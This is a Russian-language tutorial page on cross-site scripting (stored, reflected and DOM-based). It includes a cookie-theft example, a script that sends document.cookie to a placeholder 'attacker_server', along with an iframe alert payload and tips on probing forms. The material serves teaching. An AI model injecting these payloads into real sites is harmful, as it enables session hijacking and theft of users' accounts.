Перейти к содержанию

Cross-site scripting (XSS)


Тип инъекций который вызывает выполнение внедренного кода на языках JS, VBS, Flash и CSS. Так же как и XEE, XSS имеет место быть в тех web приложениях где пользовательский ввод обрабатывается в чистом виде. Различают следующие основные применения XSS payload:

  1. Вызов popup окон через функцию alert()
  2. Изменение HTML/DOM объектов на странице через document.write
  3. XSS keylogger
  4. Port scanning

Различают несколько видов XSS:

1. Stored XSS

Самый коварный тип XSS.
Для реализации нет необходимости взаимодействия с пользователем.
Сохраняет внедренный код в БД приложения, таким образом этот код выполняется при каждом открытии страницы пользователями.

2. Reflected XSS

Самый часто используемый тип XSS.
В отличии от stored XSS, вредоносный код в reflected XSS является частью запроса пользователя. Следовательно для реализации атаки, нужно заставить пользователя воспользоватся ссылкой.

3. DOM-based XSS

В отличии от reflected XSS внедренный код не выполняется сразу, а запускается только при обработке определенного элемента на странице. Оттуда и название которое говорит о том, что инъекция привязывается к DOM объекту.

Практические примеры XSS

  1. Кража пользовательских cookies (stored XSS).
    1. Атакающий разворачивает подконтрольный ему http сервер. Можно использовать
      python3 -m http.server
      
    2. На страницу целевого приложения внедряется следующий JS код:
      <script>
          windows.location='http://attacker_server/?cookie='+document.cookie
      </script>
      
    3. Атакующему летят GET запросы с cookie.
    4. Profit!
  2. Пример показывающий, что в качестве payload могут выступать и html теги:
    <iframe src="javascript:alert(`xss`)">
    

Рекомендации по поиску XSS

Первым делом - обращай внимание на формы. Пробуй вводить туда код скрипта, закрывающие теги, Смотри на результат через DevConsole.